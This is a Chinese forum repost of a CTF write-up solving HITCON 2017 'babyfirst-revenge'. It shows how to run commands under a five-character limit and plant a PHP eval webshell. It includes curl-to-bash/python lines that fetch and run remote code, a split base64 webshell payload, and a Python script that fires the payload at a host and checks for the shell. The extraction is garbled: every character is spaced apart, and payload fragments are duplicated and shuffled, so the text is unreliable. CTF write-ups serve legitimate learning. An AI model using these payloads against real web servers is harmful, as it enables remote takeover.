搜索

[26862] 2019-11-25_5位可控字符下的任意命令执行-另一种解题方法

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2019-11-25_5位可控字符下的任意命令执行-另一种解题方法 5 位 可 控 字 符 下 的 任 意 命 令 执 行   -   另 一 种 解 题 方 法 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 1 9 - 1 1 - 2 5 本 文 作 者 ： 是 大 方 子 本 文 作 者 ： 是 大 方 子 （ （ M s 0 8 0 6 7 实 验 室 核 心 成 员 ） 实 验 室 核 心 成 员 ） ﹀ 0 1 前 言 题 目 是 h i t c o n - c t f - 2 0 1 7 的 b a b y f i r s t - r e v e n g e ， 之 前 是 针 对 b a b y f i r s t - r e v e n g e - v 2 来 进 行 学 习 研 究 的 o r a n g e 师 傅 给 的 方 式 是 通 过 拼 接 执 行 来 g e t s h e l l 这 里 的 我 也 是 通 过 o r a n g e 师 傅 的 思 路 想 出 了 另 一 种 解 题 方 法 。 但 是 可 能 因 为 是 环 境 的 问 题 吧 ， 系 统 一 直 把 这 种 长 度 识 别 为 5 位 但 是 网 上 给 出 的 解 释 和 o r a n g e 师 傅 给 的 题 解 都 是 有 这 种 的 ， 说 是 后 面 的 长 度 只 能 算 1 。 所 以 这 里 演 示 只 在 b a b y f i r s t - r e v e n g e 上 进 行 演 示 ， 如 果 环 境 可 以 的 话 也 是 可 以 在 4 位 下 成 功 执 行 的 。 0 2 预 备 知 识 1 .   通 过 > 来 创 建 文 件 < ? p h p $ s a n d b o x   =   ' / w w w / s a n d b o x / '   .   m d 5 ( " o r a n g e "   .   $ _ S E R V E R [ ' R E M O T E _ A D D R ' ] ) ; @ m k d i r ( $ s a n d b o x ) ; @ c h d i r ( $ s a n d b o x ) ; i f   ( i s s e t ( $ _ G E T [ ' c m d ' ] )   & &   s t r l e n ( $ _ G E T [ ' c m d ' ] )   < =   5 )   { @ e x e c ( $ _ G E T [ ' c m d ' ] ) ; }   e l s e   i f   ( i s s e t ( $ _ G E T [ ' r e s e t ' ] ) )   { @ e x e c ( ' / b i n / r m   ‐ r f   '   .   $ s a n d b o x ) ; } h i g h l i g h t _ f i l e ( _ _ F I L E _ _ ) ; c u r l   1 0 . 1 8 8 . 2 . 2 0 | b a s h c u r l   o r a n g e . t w | p y t h o n > ;
2 .   通 过 l s 的 - t （ 从 晚 到 早 ） 参 数 来 基 于 时 间 来 排 序 文 件 3 .   s h   a   会 把 文 件 a 里 面 的 内 容 当 作 命 令 来 执 行 4 .   使 用 来 进 行 命 令 拼 接 5 .   通 过 b a s e 6 4 来 避 免 特 殊 字 符 6 .   输 入 通 配 符 *   ， L i n u x 会 把 第 一 个 列 出 的 文 件 名 当 作 命 令 ， 剩 下 的 文 件 名 当 作 参 数 7 .   增 加 字 母 来 限 定 被 用 来 当 作 命 令 和 参 数 的 文 件 > i d > r o o t *   （ 等 同 于 命 令 ： i d   r o o t ） > l s > l s s > l s s s > 1 * s   ( 等 同 于 命 令 ： l s   l s s   l s s s )
8 .   联 合 知 识 点 ⑦ ， 通 过 r e v 来 倒 置 输 出 内 容 9 .   通 过 增 加 l s 的 - h （ 把 文 件 大 小 显 示 成 1 k   1 M   等 形 式 ） 参 数 来 让 调 整 - t （ 根 据 时 间 排 序 ） 参 数 的 位 置 ， 我 们 之 后 需 要 用 到 r e v 倒 置 输 出 。 所 以 需 要 列 出 这 样 形 式 的 文 件 名 但 是 实 际 出 现 的 效 果 是 这 样 的 所 以 要 增 加 - h 来 把 - t 往 前 拉 > r e v e c h o   1 2 3 4   >   v * v   （ 等 同 于 命 令 ： r e v   v ） 0 >   t ‐   s l > 0 > > t ‐ > s l > 0 > > h t ‐ > s l
1 0 .   用 d i r 来 代 替 l s 不 换 行 输 出 ， 先 看 下 l s 的 效 果 ， 写 到 a 时 每 个 文 件 名 都 是 单 独 一 行 ， 这 样 会 影 响 知 识 点 ⑥ 知 识 点 ⑥ 的 命 令 执 行 看 下 d i r 的 效 果 ， 会 不 换 行 输 出 到 文 件 中 去 1 1 .   使 用 $ { I F S } 来 代 替 空 格 0 3 正 式 开 始
首 先 我 把 下 面 这 段 代 码 写 入 到 主 机 的 0 文 件 中 去 ， 然 后 后 期 再 传 入 攻 击 p a y l o a d 时 。 通 过 s h 执 行 0 文 件 即 可 生 成 f 文 件 ， 然 后 再 让 s h 去 执 行 f 文 件 的 代 码 内 容 即 可 得 到 一 句 话 木 马 所 以 p a y l o a d 如 下 这 样 我 们 的 p a y l o a d 第 一 部 分 已 经 写 完 ， 接 下 来 我 们 需 要 把 这 段 代 码 上 传 到 主 机 ， 其 中 的 内 容 为 （ < ? p h p e v a l ( $ _ G E T [ 1 ] ) ; ） b a s e 6 4 编 码 后 的 内 容 这 里 我 们 看 到 其 中 出 现 了 2 个 空 格 ， 这 里 我 们 需 要 把 其 中 一 个 空 格 用 $ { I F S } 替 换 。 否 则 新 的 空 格 文 件 会 替 换 旧 的 空 格 文 件 导 致 ， 攻 击 p a y l o a d 失 效 , 所 以 变 成 下 面 这 样 的 那 么 我 们 只 需 要 将 上 面 的 代 码 拆 分 倒 序 输 入 到 主 机 即 可 l s   ‐ t h   > f > d i r > f > > h t ‐ > s l * > v   ( 等 同 于 命 令 ： d i r   " f > "   " h t ‐ "   " s l "   >   v ) > r e v * v > 0   ( 等 同 于 命 令 ： r e v   v   >   0 ) ( 0 里 面 的 内 容 为 : l s   ‐ t h   > f ) e c h o   P D 9 w a H A g Z X Z h b C g k X 0 d F V F s x X S k 7 | b a s e 6 4   ‐ d > 1 . p h p e c h o $ { I F S } P D 9 w a H A g Z X Z h b C g k X 0 d F V F s x X S k 7 | b a s e 6 4   ‐ d > 1 . p h p > h p > p > 1 . > > > ‐ d > 6 4 > s e > b a > | > 7 > S k > X > x > F s > F V > d > X 0 > k > g > b C > h > X Z > g Z
然 后 我 们 需 要 让 s h 先 执 行 先 执 行 0 文 件 （ 文 件 （ l s   - t h   > f ） 就 会 得 到 ） 就 会 得 到 f 文 件 ， 最 后 再 让 文 件 ， 最 后 再 让 s h 去 执 行 去 执 行 f 文 件 文 件 即 可 得 到 1 . p h p 。 最 终 p a y l o a d 如 下 > g Z > A > a H > w > D 9 > P > S } > I F > { > $ > o > c h > e > d i r > f > > h t ‐ > s l * > v > r e v * v > 0 > h p > p > 1 . > > > ‐ d > 6 4 > s e > b a > | > 7 > S k > X > x > F s > F V > d > X 0 > k > g > b C > h > X Z > g Z > A > a H > w > D 9
p y t h o n 脚 本 0 4 演 示 效 果 > P > S } > I F > { > $ > o > c h > e s h   0 s h   f # ! / u s r / b i n / p y t h o n #   ‐ * ‐   c o d i n g :   U T F ‐ 8   ‐ * ‐ i m p o r t   r e q u e s t s u r l   =   " h t t p : / / 1 9 2 . 1 6 8 . 6 1 . 1 5 7 / ? c m d = { 0 } " p r i n t ( " [ + ] s t a r t   a t t a c k ! ! ! " ) w i t h   o p e n ( " p a y l o a d . t x t " , " r " )   a s   f : f o r   i   i n   f : p r i n t ( " [ * ] "   +   u r l . f o r m a t ( i . s t r i p ( ) ) ) r e q u e s t s . g e t ( u r l . f o r m a t ( i . s t r i p ( ) ) ) # 检 查 是 否 攻 击 成 功 t e s t   =   r e q u e s t s . g e t ( " h t t p : / / 1 9 2 . 1 6 8 . 6 1 . 1 5 7 / 1 . p h p " ) i f   t e s t . s t a t u s _ c o d e   = =   r e q u e s t s . c o d e s . o k : p r i n t ( " [ * ] A t t a c k   s u c c e s s ! ! ! " )

M s 0 8 0 6 7 安 全 实 验 室 安 全 实 验 室 专 注 于 普 及 网 络 安 全 知 识 。 团 队 已 出 版 《 W e b 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 2 0 1 9 年 年 1 1 月 出 版 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 月 出 版 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 指 南 》 。 目 前 在 编 P y t h o n 渗 透 测 试 ， J A V A 代 码 审 计 和 逆 向 工 程 等 方 面 书 籍 。 团 队 公 众 号 定 期 分 享 关 于 C T F 靶 场 、 内 网 渗 透 、 A P T 方 面 技 术 干 货 ， 从 零 开 始 、 以 实 战 落 地 为 主 ， 致 力 于 做 一 个 实 用 的 干 货 分 享 型 公 众 号 。 官 方 网 站 ： w w w . m s 0 8 0 6 7 . c o m
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理